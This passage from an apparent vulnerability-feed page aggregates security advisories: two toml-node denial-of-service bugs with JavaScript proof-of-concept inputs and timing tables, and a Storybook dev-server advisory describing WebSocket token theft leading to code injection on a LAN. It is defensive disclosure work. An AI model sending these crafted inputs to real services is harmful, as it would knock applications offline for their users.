https://nvd.nist.gov/vuln/detail/CVE-2026-114143 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25 ## Summary `toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single long dotted key, table header, or inline-table key. A ~100KB crafted document causes a multi-second synchronous hang; a ~200KB document crashes the Node.js process outright with an uncatchable out-of-memory error. This is a separate, unpatched code path from the previously fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at all, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue. ## Affected component / version - Package: `toml` (npm), repository `BinaryMuse/toml-node` - Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js` - Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release. Not exhaustively verified against every prior release, but the affected functions are unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely predates that release as well. ## Details `toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to `parser.parse()` and then `compiler.compile()` with no length or structural validation. Inside `lib/compiler.js`, three separate functions each walk a dotted key's segments in a `for` loop and, on **every** iteration, recompute the full path-prefix string from scratch: - `assign()` (lines 69-107, the sink at line 81): `var intermediatePath = makeFullPath(keys.slice(0, i + 1));` — reached for top-level dotted-key assignments like `a.b.c = 1`. - `deepRef()` (lines 247-281, the sink at line 252): the identical pattern via `pathKey(keys.slice(0, i + 1))` — reached from table headers `[a.b.c]` and array-of-tables `[[a.b.c]]` via `setPath()`/`addTableArray()`. - `setNestedKey()` (lines 184-202, the sink at line 187): the identical pattern — reached from inline-table dotted keys like `t = { a.b.c = 1 }`. `keys.slice(0, i + 1)` allocates a new array of length `i`; `pathKey()`/`makeFullPath()` (lines 311-317) then does `.map(quoteDottedString).join(".")`, also O(i). Since this runs on every one of the `n` segments of a dotted key, total work is `O(1 + 2 + ... + n) = O(n²)`, not `O(n)`. The string is computed unconditionally on the happy path (only ever *used* if an error is about to be thrown), so there is no early exit that makes this cheap in practice. No limit exists anywhere on dotted-key segment count: `dot_ended_table_key_part+` and `inline_dot_key_part+` in `src/toml.pegjs` (lines 122, 311) are unbounded `+` repetitions, parsed iteratively rather than through the grammar's `value` rule — so the existing `MAX_DEPTH`/`maxDepth` nesting guard (`src/toml.pegjs:141-151`, enforced in the generated `lib/parser.js:1022`) does not apply to key length at all. We confirmed this directly: setting `options.maxDepth: 1` (the strictest possible value) against a 16,000-segment key produced no measurable timing difference from the unrestricted case. ## Proof of Concept ```js const toml = require('toml'); // n-segment dotted key: "k0.k1.k2. ... .k{n-1} = 1" function segKey(n) { const parts = []; for (let i = 0; i < n; i++) parts.push('k' + i); return parts.join('.') + ' = 1\n'; } // ~100.9 KB input -- takes ~6.6-6.8 seconds toml.parse(segKey(16000)); // ~200 KB input -- crashes the Node process: // "FATAL ERROR: Ineffective mark-compacts near heap limit - JavaScript heap out of memory" toml.parse(segKey(32000)); ``` Measured timings (Node v22, direct execution against this repo): | n (segments) | input size | time | |---|---|---| | 1,000 | ~4.9 KB | 34 ms | | 8,000 | ~46.9 KB | 1.6 s | | 16,000 | ~100.9 KB | 6.8 s | | 32,000 | ~200 KB | **process crash (OOM)** | Doubling `n` from 8,000→16,000 roughly quadruples runtime (~4.2x), the signature of O(n²) rather than the expected O(n) (~2x). Independently reproduced with the identical scaling signature for the table-header variant (`[k0. ... .k15999]`, exercising `deepRef()`) and the inline-table variant (`t = { k0. ... .k15999 = 1 }`, exercising `setNestedKey()`). We also generalized this into a property-based fuzzing harness (fast-check, run under Node) that automatically tests the "doubling input size should not more than roughly double parse time" invariant across 12 structural dimensions of the grammar/compiler; it independently re-flags all three code paths above on every run, with no additional dimension confirmed vulnerable after follow-up investigation. The harness is available on request. ## Impact Node.js is single-threaded — a synchronous multi-second-to-crashing `parse()` call blocks the entire event loop of the process calling it, stalling every other request/operation that process is handling, not just the attacker's own. At the upper end this is not merely a hang: an uncaught, process-terminating out-of-memory crash from a ~200KB attacker-supplied string is a full denial of service requiring no authentication — just the ability to get one string parsed by an application using this library (config upload, API request body, imported manifest, or any of this library's intended use cases). ## Suggested remediation Build the path prefix as an incrementally-extended string as the loop walks each segment (append one already-quoted segment per iteration to a running string) instead of re-slicing an array and re-joining the entire prefix from scratch on every iteration. For example, in `assign()`: ```js function assign(node) { var keys = node.key; var value = node.value; var off = node.offset; if (!Array.isArray(keys)) keys = [keys]; var reduced = reduceValueNode(value); var target = context; var pathStr = pathKey(currentPath); // computed once, not per segment for (var i = 0; i < keys.length - 1; i++) { var k = keys[i]; var quotedK = quoteDottedString(k); var intermediatePath = pathStr ? pathStr + "." + quotedK : Affected package ranges reported by GitHub: toml: <= 5.0.0 Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse() https://kevwire.com/record/CVE-2026-114144 toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse() (Oct 22, 2026). - `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))` - `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))` - `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))` - `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))` The parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token. CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114144). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-9qmh-m7c6-f92p: https://github.com/advisories/GHSA-9qmh-m7c6-f92p GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114144: https://nvd.nist.gov/vuln/detail/CVE-2026-114144 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25 ### Summary `toml.parse()` converts integer literals (hex, octal, binary, and decimal) to `BigInt` without first bounding the length of the digit sequence. Since `BigInt(string)` construction from a very long numeric string runs in super-linear time, a single small, well-formed TOML document containing one long integer literal can pin a Node.js process's event loop at 100% CPU for several seconds — a denial of service for any application that parses attacker-supplied or third-party TOML. No authentication or complex crafting is required. ### Details In `lib/parser.js`, the grammar actions that build integer nodes call `BigInt()` directly on the matched digit text, with no upper bound on its length: - `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))` - `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))` - `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))` - `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))` The parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token. The subsequent 64-bit range check in `lib/compiler.js` (`reduceInteger`, lines 143–150, comparing against `INT64_MIN` / `INT64_MAX` defined at lines 3–4) happens **after** the expensive `BigInt()` conversion has already completed. It therefore provides no protection against this cost — the CPU time is already spent by the time the value is rejected as out of range. ### PoC ```js const toml = require('toml'); const N = 5_000_000; // ~5 MB request body const doc = 'x = 0x' + 'f'.repeat(N); const start = Date.now(); try { toml.parse(doc); // eventually throws "outside the 64-bit signed integer range" — // but only after the costly conversion has run } catch (e) {} console.log('elapsed:', Date.now() - start, 'ms'); ``` **Measured results:** | Digits (hex) | Approx. payload size | Parse time | |---:|---:|---:| | 200,000 | ~200 KB | 141 ms | | 400,000 | ~400 KB | 276 ms | | 800,000 | ~800 KB | 685 ms | | 1,600,000 | ~1.6 MB | 1,761 ms | | 5,000,000 | ~5 MB | 6,061 ms | Growth is clearly super-linear. The same behavior reproduces for plain decimal literals (3,000,000 `'9'` digits → ~6.3 s). ### Impact Any application that calls `toml.parse()` on untrusted or third-party input — config upload endpoints, CI/CD tools ingesting user-supplied `.toml` files, package managers, linters, editors/language servers — is exposed. During the conversion, the event loop is fully blocked. In a typical single-threaded Node.js server this stalls **all** concurrent request handling, not just the request containing the malicious payload. A single ~5 MB request is sufficient to cause several seconds of full CPU denial of service. **Suggested fix:** Reject digit sequences above a reasonable length *before* calling `BigInt()`, analogous to the existing `maxDepth` option. A 64-bit signed integer requires at most 20 decimal digits or 16 hex digits, so any digit sequence significantly longer than that is guaranteed to fail the existing range check anyway, and can be rejected with a cheap `.length` comparison instead of paying for the full `BigInt` conversion. Affected package ranges reported by GitHub: toml: <= 5.0.0 Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Storybook dev server vulnerable to code injection from the local network https://kevwire.com/record/CVE-2026-114126 Storybook dev server vulnerable to code injection from the local network (Oct 22, 2026). **Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN. You are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest. CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114126). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-px85-f4q5-jh77: https://github.com/advisories/GHSA-px85-f4q5-jh77 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114126: https://nvd.nist.gov/vuln/detail/CVE-2026-114126 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25 **Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN. ## Who is impacted? You are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest. You are not impacted if: - You run a dev server in an environment that other devices on your network cannot reach (e.g. a container that does not publish the Storybook port, or publishes it only on `127.0.0.1`) - You run a dev server whilst connected to a trusted local network - You serve a built version of Storybook on your machine ## Recommended actions ### Upgrade Storybook Storybook has released patched versions of all affected major Storybook versions that fix all the vulnerabilities necessary for the worst-case scenario above to occur. Upgrade to a patched version listed below before running `storybook dev` again. If you cannot upgrade immediately, do not run an affected Storybook dev server until you can apply the fix. - 11.0.0-alpha.6 - 10.6.2 - 9.1.21 - 8.6.19 ### Review potentially breaking changes Due to the exceptional nature of the reported vulnerabilities, the Storybook team has decided to change the default behavior of Storybook, including versions 8 and 9, for several network-related features that are not essential to most Storybook users' workflow. If your team relies on the affected features, this document explains how to fall back to the previous behavior. #### Storybook now only listens on `127.0.0.1` by default By default, the Storybook dev server no longer binds to all network interfaces on your machine. It only binds to the loopback address `127.0.0.1`. You can still open it at `http://localhost:6006`. This prevents other devices on the same network from seeing your Storybook server. To share a Storybook with others, consider publishing it to Chromatic (free). To share it on a LAN without exposing the dev server, build a static Storybook with `storybook build` and serve the output folder with any static file server. To share a live Storybook running in dev mode, you can use the `--host` CLI option to bind to the LAN IP you want to share Storybook on, e.g. `storybook dev --host 192.168.0.110`. Host and origin validation stays enabled with this option. If you use `--host 0.0.0.0` instead, also set `core.allowedHosts` to the hostnames you will use. Without it, host and origin validation is disabled, and Storybook shows a warning and asks you to confirm before it starts. Consider using a firewall to restrict incoming packets to known colleague IPs, and avoid using `--host` on an untrusted WiFi network. #### The Vitest addon now disables `browser.api.allowWrite` and `browser.api.allowExec` Storybook no longer allows code running in Vitest Browser mode to write to the developer’s machine or execute other processes. In the unlikely scenario that you rely on this capability in your tests, you can manually re-enable these APIs in your Vitest config. #### The `saveStoryRequest` event validates input more strictly Storybook strengthened input validation in `saveStoryRequest`, so addons and the Storybook UI can now only write serialized args and story titles. It is no longer possible to exploit input validation weaknesses to e.g. write `play` functions with a custom addon. If you develop an addon that writes or edits files on users’ behalf, reach out to the Storybook team to get advice on security best practice. ## Disclosure timeline On August 19th, the Storybook team received a responsible disclosure showing that the WebSocket token can be stolen by an attacker sharing a LAN with a Storybook dev server. The disclosure identified several actions an attacker can do. An attacker can bypass input validation to write a payload in a story file. They can then trigger a test run via the WebSocket. If the Vitest addon is installed, the payload can exploit a Vitest API to write other files, with more exploit logic to the user’s filesystem. Depending on the exploit content, where the file is written, and what software the developer uses, that exploit could then be executed. Affected package ranges reported by GitHub: storybook: >= 8.0.0, < 8.6.19 storybook: >= 9.0.0, < 9.1.21 storybook: >= 10.0.0, < 10.6.2 storybook: >= 11.0.0-alpha.0, < 11.0.0-alpha.6 @storybook/core: >= 8.0.0, < 8.6.19 @storybook/core-server: >= 8.0.0, < 8.6.19 @storybook/experimental-addon-test: >= 8.0.0, < 8.6.19 @storybook/addon-vitest: >= 9.0.0, < 9.1.21 @storybook/addon-vitest: >= 10.0.0, < 10.6.2 @storybook/addon-vitest: >= 11.0.0-alpha.0, < 11.0.0-alpha.6 @storybook/addon-mcp: >= 10.6.0, < 10.6.2 @storybook/addon-mcp: >= 11.0.0-alpha.0, < 11.0.0-alpha.6 Action: GitHub lists first patched versions: storybook: 8.6.19; storybook: 9.1.21; storybook: 10.6.2; storybook: 11.0.0-alpha.6; @storybook/core: 8.6.19; @storybook/core-server: 8.6.19; @storybook/experimental-addon-test: 8.6.19; @storybook/addon-vitest: 9.1.21; @storybook/addon-vitest: 10.6.2; @storybook/addon-vitest: 11.0.0-alpha.6; @storybook/addon-mcp: 10.6.2; @storybook/addon-mcp: 11.0.0-alpha.6. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Astro: Reflected/Stored XSS via unescaped